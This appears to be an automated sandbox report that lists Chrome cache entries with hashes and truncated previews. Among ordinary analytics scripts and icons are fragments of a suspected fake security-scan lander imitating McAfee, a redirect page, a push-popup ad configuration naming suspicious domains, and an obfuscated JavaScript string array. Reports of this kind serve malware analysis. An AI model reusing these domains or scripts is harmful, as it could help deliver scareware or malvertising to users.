Preview:	var a3_0x5257=["BwvZC2fNzq==","w3jHxsbMzxrJAcbLCNjVCJOGD3jVBMCGC3rHDhvZignVzgu=","r2vUzxjHDg9YigLZigfSCMvHzhKGzxHLy3v0Aw5NlG==","y29UC3rYDwn0B3i=","q29UDgvUDc1uExbL","w3n3xsbMB3jJzsb1BNn1yNnJCMLIAw5N","zxjYB3jdB2rL","ywn0AxzHDgu=","uMvWBgfJzq==","C2vUzfb1C2HtDwjZy3jPChrPB24=","ChjVDg90ExbL","r0vu","zxzHBe1L","AxnAB25LswrdAgfUz2vK","y3jLyxrLsw5KzxG=","B3b0Aw9UCW==","CgXHDgzVCM1wzxjZAw9U","B25ZDwnJzxnZ","Dhj5CW==","ywrZ","BM90AwzPy2f0Aw9Uy2XPy2S=","mtiW","BM93","w3n3xsbJyw4GBM90ig9IDgfPBIbZDwjZy3jPChrPB24=","CMfFz2vUzxjHBa==","B3bLBLDPBMrVDW==","Aw5KAwnLCW==","z2v0","Aw5JBhvKzxm=","BgfZDej1yMjSAw5NvgLTzq==","zNvUy3rPB24=","zxHWB3j0CW==","B3bZ","zgf0yq==","y2fSBa==","DgHYB3C=","CMvHzg9UBhK=","z2v0u3vIC2nYAxb0Aw9Urg9TywLU","zgvSzxrL","ChvZAa==","nJi3","AgfUzgXL","D3jHCfrYEq==","CMvJzwL2zufKCW==","y2XPzw50CW==","CgLUzW==","z2v0sgLNAevUDhjVChLwywX1zxm=","C3vIC2nYAxb0Aw9U","mty4","w3n3xsbUB3rPzMLJyxrPB24Gy2XVC2vKlcb0DgWGCMvHy2HLza==","odyZ","ChjVy2vZC1bPBMC=","B2jQzwn0u3rVCMu=","AxrLCMf0B3i="

Chrome Cache Entry: 436

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2511)
Category:	downloaded
Size (bytes):	3158
Entropy (8bit):	5.304593031412091
Encrypted:	false
SSDEEP:	96:hUVlZGLxk8j1lnoWNiLcQq+9Jghhma6EjB:iZBKnDGhq+Tghhma6El
MD5:	48131E426C7AE3452706A94BBD6E7899
SHA1:	30D31E8D87FF368BA8035869261932B2F8A17011
SHA-256:	E7C38038F8523FA04E5110F517D304B66C8EF51EFCD13500A186528E2F62C57D
SHA-512:	11ABF833077EB8BE570F3AF99C5EA3A8F00C3EC08D2B11D8533DD8E5AE493E303BA878DF26D05B75466E18942BF20AA14A6A34BA24DBF55F4A3517FA8B03BEE3
Malicious:	false
Reputation:	low
URL:	https://tags.tiqcdn.com/utag/tiqapp/utag.currency.js
Preview:	var tealiumiq_currency = {. ts:"202409270100",. rates:{"FKP":0.74636,"XAU":0.00037456,"DOP":60.147409,"IMP":0.74636,"CRC":520.374028,"ARS":967.2631,"KGS":84.2,"XPF":106.840102,"CZK":22.5056,"MXN":19.61901,"SEK":10.137546,"EGP":48.3733,"MNT":3398,"COP":4191.242198,"BRL":5.4382,"OMR":0.384956,"AMD":386.908226,"RWF":1351.79403,"BBD":2,"TRY":34.178385,"GNF":8637.145591,"NOK":10.555646,"AZN":1.7,"JMD":157.026394,"SCR":13.454075,"AED":3.673,"BWP":13.082151,"TOP":2.34128,"XCD":2.70255,"KHR":4063.631294,"MOP":8.014633,"USD":1,"NGN":1653.4,"MGA":4525.437168,"XPT":0.00099343,"WST":2.8,"IDR":15118,"PYG":7811.679482,"GGP":0.74636,"RSD":104.809,"MRU":39.566559,"STD":22281.8,"KZT":479.022617,"NIO":36.80789,"CDF":2846.341709,"ISK":134.92,"CUC":1,"CLP":905.9,"SZL":17.189714,"HUF":354.580257,"PLN":3.827204,"JOD":0.7087,"ALL":88.678866,"ERN":15,"SVC":8.751087,"LBP":89563.84801,"HNL":24.845328,"MYR":4.1205,"IRR":42105,"EUR":0.89532,"RUB":92.62122,"BTC":1.5324178e-05,"SAR":3.750638,"PGK":3.974858,"C

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	4537
Entropy (8bit):	4.913441567863892
Encrypted:	false
SSDEEP:	96:sElG5dAYTBUXec2W3+ceFw312Y2M65A1Aws4:scGnAYA2W3rQLsr
MD5:	FD1945DDAE6F0FF107BB8F7BC937B049
SHA1:	7D770E9BA498AD670B909E7CEE3A8F4ED6A5B3B6
SHA-256:	172B28A836DE467C33540CAA978CA96D5ABF05A13B9E81711747245B788FB693
SHA-512:	6D1EF5D9E2C45D88DA0DC059608FF609F62A5D3C59A890592448A25E22726C8D9F8500D009CB12B787F9A3853DFA7F0CE3CE8733D6ADFE3DA2051FFF98A8B380
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/consumer/en-us/icons/our-virus-protection.svg
Preview:	<svg width="31" height="31" viewBox="0 0 31 31" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M16.3248 0.795012L16.0281 0.702873L15.7315 0.795012L3.52758 4.58572L2.82422 4.8042V5.54071V8.5H4.82422V6.27723L16.0281 2.79713L27.232 6.27723V8.5H29.232V5.54071V4.8042L28.5287 4.58572L16.3248 0.795012ZM29.1818 22.375H27.1352C26.9723 22.9092 26.6121 23.3716 26.1144 23.6584L18.5246 28.0322C16.9794 28.9226 15.0769 28.9226 13.5316 28.0322L5.94188 23.6584C5.44417 23.3716 5.08394 22.9092 4.92111 22.375H2.87445C3.06961 23.6303 3.82265 24.7455 4.94328 25.3912L12.533 29.765C14.6963 31.0117 17.3599 31.0117 19.5232 29.765L27.113 25.3912C28.2336 24.7455 28.9867 23.6303 29.1818 22.375Z" fill="url(#paint0_linear_100_2132)"/>.<path d="M5.86938 20.9615H4.10516V13.8746C4.10516 13.0288 4.12518 12.3582 4.16522 11.8627C4.05011 11.9828 3.90747 12.1154 3.7373 12.2606C3.57214 12.4057 3.0116 12.8661 2.05566 13.6419L1.1698 12.5233L4.39795 9.98584H5.86938V20.9615Z" fil

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5674)
Category:	downloaded
Size (bytes):	19326
Entropy (8bit):	5.451497430745635
Encrypted:	false
SSDEEP:	384:JfNsImVVMFdWa9Yp+pJh2r0i2g3UmnbEqPd2P8A+:JfKViYp+TsV5bEA2P8A+
MD5:	C2FF8C2A47AEE47C19CB69CB3CCE5485
SHA1:	EFFEBDCC2DD44A6627C791C1973DDF752AD8AEAC
SHA-256:	E8CF26889C118E8FCFA3307262721927B415821FAE3997D5ADF6701382535E05
SHA-512:	B6C103D9579B499CCD1FF8B962E2DCA27103D088E6A0726392DC8F98676264850E5DF9E4B2650DDC6760700F39CA04E8DEF9518D3031389A89F313E462310E47
Malicious:	false
Reputation:	low
URL:	https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.539.js?utv=ut4.39.202409111541
Preview:	//tealium universal tag - utag.539 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id},md5;utag.o[loader].sender[id]=u;utag.globals=utag.globals\|\|{};if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb(

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4269)
Category:	dropped
Size (bytes):	285652
Entropy (8bit):	5.547206785049786
Encrypted:	false
SSDEEP:	3072:WHbFkUeQ65WHnSHJKQK0+BzOhOJjt+/Kjrg+aUP3meNIh7R5EtzG2+4jRMzeh9:Kn+ySpiyGjrgzjWIhl5OzG2+4jiq
MD5:	74A46CFADA12E6F840FB41BC4D2E9CA0
SHA1:	899063C21A3969D200270E3661F132A25F701EB1
SHA-256:	280C704D1F0580C7DC7C05B72F3C54C2CFB640DBDA770B4B0E75D2A343EB4712
SHA-512:	DEFFE9097787AF550437071D965AE9FE44F812EABE5D8D50844AAD31D1959AE146B57E850244E8050E3E4002C436DE15E952FBE41CF54B6017FA252B013CD471
Malicious:	false
Reputation:	low
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"3",. . "macros":[{"function":"__e"}],. "tags":[{"function":"__ogt_ads_datatos","priority":17,"vtp_instanceDestinationId":"AW-740246542","tag_id":114},{"function":"__ogt_dma","priority":7,"vtp_delegationMode":"ON","vtp_dmaDefault":"DENIED","tag_id":105},{"function":"__ogt_1p_data_v2","priority":7,"vtp_isAutoEnabled":false,"vtp_isManualEnabled":false,"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_e

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 358 x 365
Category:	dropped
Size (bytes):	22936
Entropy (8bit):	7.9627830442526815
Encrypted:	false
SSDEEP:	384:815AmMaRm39isQO+oNsrvkFJUuanrYqRg5xA1f7p:GA4m39isQfaiuWr1Mxc1
MD5:	57B6998D552273A35D8FD9F950E84D06
SHA1:	FCF50CDD3E038C93E3543C7CEEF47826E7A3B4B8
SHA-256:	01C46CE5674078BE723E1C031899EE1C063C79F8EB364D11D80141EB683F7B84
SHA-512:	68BE50C7A604AA3B9FC7E262933B56CD75EC741871DADDD2953938E07D0341333E7F09C67524B125E5D2321D168302F79B2179A49C664BD333080FC97C4E88CE
Malicious:	false
Reputation:	low
Preview:	GIF89af.m............<..S....Z.....5..(.........(D........-..C...Z....\|...1.L8.QQ.mm..I.h*&....A..L..E.3>....U+d.....\.......k..!./n.U.....Onll..r).I+........E3.Jz.%%.95..W..K..P..U..^.....D.gm.%4..=.S2..9.8-.;;........8.+/......t...I..S.w#....@<.k..oL....e/.p..0.i%..3..?.z...U....S.\|..=e..J.;...{.l.....aZ..E..P.](.[..._.{D..H..Y..F.."..9..N..H.]0..:..I.(~..C../.E]..S..P..N.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164460, 2020/05/12-16:04:17 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:b8b7ef75-5ce0-489e-8e2b-0dbbdc867acf" xmpMM:DocumentID="xmp.did:9E3849D6AB2411ECB06FA46BA75114A9" xmpMM:InstanceID="xmp.iid:9E38

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	565
Entropy (8bit):	5.005634208261935
Encrypted:	false
SSDEEP:	12:YWyb5yWHURwX2JIWhvSC5x5OVGBARPs/zwAzLiCPmkOrlv:Yt59URwX2Jphtv52bR4rzLiMmkOJ
MD5:	8C368E992A028B1B7244142AE93B8F21
SHA1:	9F1C052619A155FBC28EB29AE700CB2921F4F84D
SHA-256:	8227AC74C1BE8BCAB903C3DC25D758FE5760C5A5008D8B618510B3D70E506A16
SHA-512:	D827BA64F501A1577B994DDBED6032CE416E51275B03835F94150DAF7A34543D78B52E1179E1E287799E4F67B582A7EDCCB4A742519AC99A80F510F1A89A54DC
Malicious:	false
Reputation:	low
Preview:	{"status":true,"code":"jsTagParameters","unsupported":false,"afterCloseDelay":3,"allowPopupIfHttpsDenied":true,"customParamsGeo":"us","customParamsIp":"8.46.123.33","domain":"https://jouteetu.net","forceStandalone":true,"injections":null,"install_ctx":{"country_code":"us"},"resources":{},"mobileSupport":true,"popupHeight":310,"popupShow":true,"popupWidth":510,"pubZoneId":6508804,"key":null,"swName":"sw-26ac0.js","wildcardDomain":"agagaure.com","zoneId":6508804,"skinUrl":"/3bT/27mJf/defaultSkin.min.js","popupUrl":"/3bT/27mJf/popup.html","flags":{},"extra":{}}.

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1157
Entropy (8bit):	5.007167835326712
Encrypted:	false
SSDEEP:	24:XZ8JZ8KZ8x5W0uHcudXz9hG4Z8DRWkgRWUTywmbWQIQX5LYAFLCU1wLMYopw:pCZ25Idm+UwkgwU6WdQpBnwLBp
MD5:	FCD546809170DD574EB37B989529F69A
SHA1:	2E227E144E3B4BD68064354D8A7FBC61125F624C
SHA-256:	350BAFF99BBD3DB6CDB8D741BC7F75FA333489AD5DCC641E2CFA0E11130E1920
SHA-512:	951853322E3B36E82DB2EA08C0EFF6520BA259599A0F4295DB5F15129B412ABD59B48D9667A70B24A647E22AC390362F2CDBD3DDFF461472D7227689775733FB
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/landers/gsb/GSB/files/script/lang.js
Preview:	function googleTranslateElementInit() {. new google.translate.TranslateElement(. {. pageLanguage: "en",. layout: google.translate.TranslateElement.FloatPosition.TOP_RIGHT,. autoDisplay: false,. }. ,. "google_translate_element". );.}.(function () {. var googleTranslateScript = document.createElement("script");. googleTranslateScript.type = "text/javascript";. googleTranslateScript.async = true;. googleTranslateScript.src = "https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit";. (document.getElementsByTagName("head")[0] \|\| document.getElementsByTagName("body")[0]).appendChild(googleTranslateScript);.}.)();.$(document).ready(function () {. $("#google_translate_element").bind("DOMSubtreeModified", function () {. setTimeout(function () {. $("#topHide").fadeOut();. $("body").css("overflow", "visible");. }, 1000);. });.});.let browser_language = navigator.language \|\| navigator.userLanguage;.var lang = browser_language

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1162)
Category:	downloaded
Size (bytes):	20818
Entropy (8bit):	5.592463908396929
Encrypted:	false
SSDEEP:	384:XIgJV0fiJF+sLQld20p28JXHABsOEsoc1/1hUP88J1c7lVMF/fQpDUriKo36n:tJV6iJfwgvoc1/1hUP07jMxIpPKoqn
MD5:	A1F3145E1DC107AAD3B57974B8817B57
SHA1:	507EA38AA8AD7BBE3AB3FA7E4C85016E3DCA2960
SHA-256:	A463AA6666CE0ABCABF8033013CFE881FDBFB570389AFF471D400A45B3A496D4
SHA-512:	8ADDDA4A0F27DB8DCE9706E87C1C5716949EA8111E05A7CEE46E027252D0EEECAB2DCADD02CA505021DB7DFF7ADF88272027A4FE156DAA95A1D75F7CC73C2822
Malicious:	false
Reputation:	low
URL:	https://collector-30568.us.tvsquared.com/tv2track.js
Preview:	/!. Piwik - Web Analytics. . JavaScript tracking client. . @link http://piwik.org. * @source https://github.com/piwik/piwik/blob/master/js/piwik.js. * @license http://piwik.org/free-software/bsd/ Simplified BSD (also in js/LICENSE.txt). */.if(typeof JSON2!=="object"){JSON2={}}(function(){function d(f){return f<10?"0"+f:f}function l(n,m){var f=Object.prototype.toString.apply(n);if(f==="[object Date]"){return isFinite(n.valueOf())?n.getUTCFullYear()+"-"+d(n.getUTCMonth()+1)+"-"+d(n.getUTCDate())+"T"+d(n.getUTCHours())+":"+d(n.getUTCMinutes())+":"+d(n.getUTCSeconds())+"Z":null}if(f==="[object String]"\|\|f==="[object Number]"\|\|f==="[object Boolean]"){return n.valueOf()}if(f!=="[object Array]"&&typeof n.toJSON==="function"){return n.toJSON(m)}return n}var c=new RegExp("[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]","g"),e='\\\\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\uf

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (48971), with CRLF line terminators
Category:	downloaded
Size (bytes):	63807
Entropy (8bit):	5.799326639641978
Encrypted:	false
SSDEEP:	768:cJYR49z3ZNhRAm2w+m0jPvQTcrFAQSbtUOD8YY+CNIwwzb8OClmWab9iPK3Wmewn:cJl9bf/nBCT6fS9iqg6brse2SUj
MD5:	DE8D424D6362EC95236A0FE1EB1274DA
SHA1:	B8AA60C4865EF022B38E55B6E20328084BEEA98A
SHA-256:	6E2A3195F7A88F1440DBA6A520D49389F03D3D5DDD1A63E753BF8F0E7F830289
SHA-512:	DC1333CE6DF112EFE4E9A85A0E9D58BD8445CD6B56232BD05BD8BF53946357EC861A0864B444F4DA11F76E782F3995F2D5DD29903EC45EEA3612DFD85C4CA64C
Malicious:	false
Reputation:	low
URL:	https://ahchoadeegu.homes/?u=k8pp605&o=c9ewtnr&t=8845
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">....<html xmlns="http://www.w3.org/1999/xhtml">..<head><script>function requestLink(){return {sessionId:['sid','t1~2nfu21dk4tvyqsnquqreybha'],p1:['','https://braraildye.live/qxvlhqbn/'],jsFpCryptoKey:['','e2pxdlsrtuht00kb']};}</script>...<title></title>...<meta name="viewport" content="width=320,initial-scale=1"/>.....<style type="text/css">..*{margin:0;padding:0}body{display:flex;flex-direction:column;font:300 100%/1.5 Helvetica Neue,sans-serif;background:#e0e0e0;color:#333;min-height:100vh;justify-content:center;align-items:center}section{text-align:center;animation:2s infinite pulse}@keyframes pulse{0%,100%{transform:scale(1)}50%{transform:scale(1.1)}}..</style>..</head>......<body class="redirecting"><div id='r1'></div>..<section class="redirecting">...<h1>Please Wait...</h1>...<p>Preparing everything you need. Just a moment.</p>..</section>..<p id="demo"></p>......<script

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1579)
Category:	dropped
Size (bytes):	10447
Entropy (8bit):	5.142377895861513
Encrypted:	false
SSDEEP:	192:PbFnNojImVVMbpK3TXvUcgbRmYaUsw553U6NzT5Qad9FMjnpBu4x0allS45/2vN+:PlNsImVVMbpKDBgFAUn553UAgMI
MD5:	8CA5C7E5B4790DB258FE1C73647A2D96
SHA1:	93BA9077C192F79B725CD2CC49E0600B7463BEA6
SHA-256:	E3A032AA5EF301951B6A16F1B7E5648997B40A4A59F2A22AD901D27A301F24BD
SHA-512:	181D502458A3230346AC3042687C21DC0022F48B099D5922EF3A16441709BC79CF06C57BF5BF0D654F8D18ABC3056D2515FCB4136E0EC3B3562C79DE4D8323F9
Malicious:	false
Reputation:	low
Preview:	//tealium universal tag - utag.528 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb();},false);}else{b.onreadystatecha

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2142
Entropy (8bit):	5.207844455663794
Encrypted:	false
SSDEEP:	48:kZxOMOep5BaL7LPDoLhLC2L/KS+Ht++ZvdXLHt++k7Ht++P1Ht++lwUHt+p:RepTajpbZFbk7P1SU4
MD5:	9643AD6A1681691AC53DA9AB36845F46
SHA1:	5E9E80E6C58F21B3D77ECF3DE2FA046575CC9AE8
SHA-256:	A0CDF7B6860937BAC593E79B26B9E465485CAA32B1B17CB73D99B03D8B7F2FB6
SHA-512:	94EFAD7D43C9967C73B4DEF0A2E14B1A70B6060E1AADA48FB5A21B1EDC731AA9F332480292C3965296ADC2B0FC27C575812FEC264C1302BE872CD5D84D567581
Malicious:	false
Reputation:	low
Preview:	<svg width="31" height="30" viewBox="0 0 31 30" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M29.1367 8.4375C29.1367 12.269 26.0307 15.375 22.1992 15.375H16.7617C16.7617 15.8905 16.7039 16.3926 16.5945 16.875L22.1992 16.875C26.8591 16.875 30.6367 13.0974 30.6367 8.4375C30.6367 3.7776 26.8591 0 22.1992 0C17.5393 0 13.7617 3.7776 13.7617 8.4375V9.76166C14.3282 10.1408 14.834 10.6035 15.2617 11.132V8.4375C15.2617 4.60602 18.3677 1.5 22.1992 1.5C26.0307 1.5 29.1367 4.60602 29.1367 8.4375Z" fill="url(#paint0_linear_100_2138)"/>.<path d="M16.9863 7.875H26.6988" stroke="url(#paint1_linear_100_2138)" stroke-width="1.5"/>.<path d="M16.9863 11.55L20.7926 11.55" stroke="url(#paint2_linear_100_2138)" stroke-width="1.5"/>.<path d="M1.38672 28.5C1.38672 25.8076 3.56933 23.625 6.26172 23.625H13.3867C16.0791 23.625 18.2617 25.8076 18.2617 28.5V29.25H1.38672V28.5Z" stroke="url(#paint3_linear_100_2138)" stroke-width="1.5"/>.<circle cx="10.0117" cy="15.

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 24x24, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	196
Entropy (8bit):	6.704797280129969
Encrypted:	false
SSDEEP:	6:soWZJKKjHF83ObQiQkHg5sqfHSg7P11U4IVn3v0eX:amkCyQBsqKg7P11K3v0eX
MD5:	E08079729050DA1D417D790AA69C1A7D
SHA1:	F914B9A5B70CCD8C839B3FC5996E01686FD7A47F
SHA-256:	4AD0CD81B61DD9F58C6707F0522BE7FD7EA23A81A2BCB7031CE5B49DA4EC7582
SHA-512:	C09F0211C0CF796F1B3318CF679C5F2312ABBE99BD30E25BD9CA20767CD2933FBEC89E3C905309A9AE70D9E6B8B0CD332178DA5D1DD9434C11A2E60B1A50B31D
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/icon1.png
Preview:	RIFF....WEBPVP8 .........*....>.b.O(%."(.....i...Q..J...._../.,....u2.....K..wz?.y.x.T..Y;..E3.f.b..0.+2....i...F....r....7....._(..F...P`....C?........G..7..`...Q..j.mg.@.......>\|.ij.2.....

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	7945
Entropy (8bit):	4.765845455506006
Encrypted:	false
SSDEEP:	192:ek7As3ZD/rJ82aJvYni31G3JUNm7QDaUkUa4FZSb:SJvYivNm3
MD5:	250B25255CC9C401658A02338F3281DB
SHA1:	535F1295B2ECF3D3D9AE20EB5A20134287D02756
SHA-256:	1CEE77331E2DA54C5A2C28A95D817728EC8E30EACBCA29CF7D8ECBEEA022753C
SHA-512:	BFC83A8D9DE8E8D700F0E41F921C86768FB1FAC71F88EC26B1DB0914AC0C568342302FC7C63338E2149094FC4029DF9786095F438C16E79D25714C57AE5D5DFE
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/landers/gsb/GSB/files/styles/default.css
Preview:	body {.. box-sizing: border-box;.. padding: 0;.. margin: 0;.. font-family: Roboto, snas-serif;.. height: 100vh;.. background: url(../images/Family_Image_home.webp);.. background-size: cover;.. background-repeat: no-repeat;..}.....container {.. max-width: 960px;.. width: 100%;.. margin: 0 auto;..}....header {.. padding: 21px 0;.. box-sizing: border-box;..}....header ul {.. float: right;.. margin: 0;..}....header ul li {.. display: inline-block;.. margin-right: 35px;..}....header ul li:nth-child(3) {.. margin-right: 0;..}....header ul li a b {.. background: #383434;.. color: #fff;.. padding: 3px 23px !important;.. font-weight: 500;.. display: inline-block;.. font-size: 16px;.. line-height: 1.5;.. border-radius: 50rem;..}....header ul li a {.. color: #383434;.. text-decoration: none;.. font-size: 16px;..}....header ul li a:hover {.. color: #383434;.. text-decoration: none;..}....header ul li img {

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2511)
Category:	dropped
Size (bytes):	3158
Entropy (8bit):	5.304593031412091
Encrypted:	false
SSDEEP:	96:hUVlZGLxk8j1lnoWNiLcQq+9Jghhma6EjB:iZBKnDGhq+Tghhma6El
MD5:	48131E426C7AE3452706A94BBD6E7899
SHA1:	30D31E8D87FF368BA8035869261932B2F8A17011
SHA-256:	E7C38038F8523FA04E5110F517D304B66C8EF51EFCD13500A186528E2F62C57D
SHA-512:	11ABF833077EB8BE570F3AF99C5EA3A8F00C3EC08D2B11D8533DD8E5AE493E303BA878DF26D05B75466E18942BF20AA14A6A34BA24DBF55F4A3517FA8B03BEE3
Malicious:	false
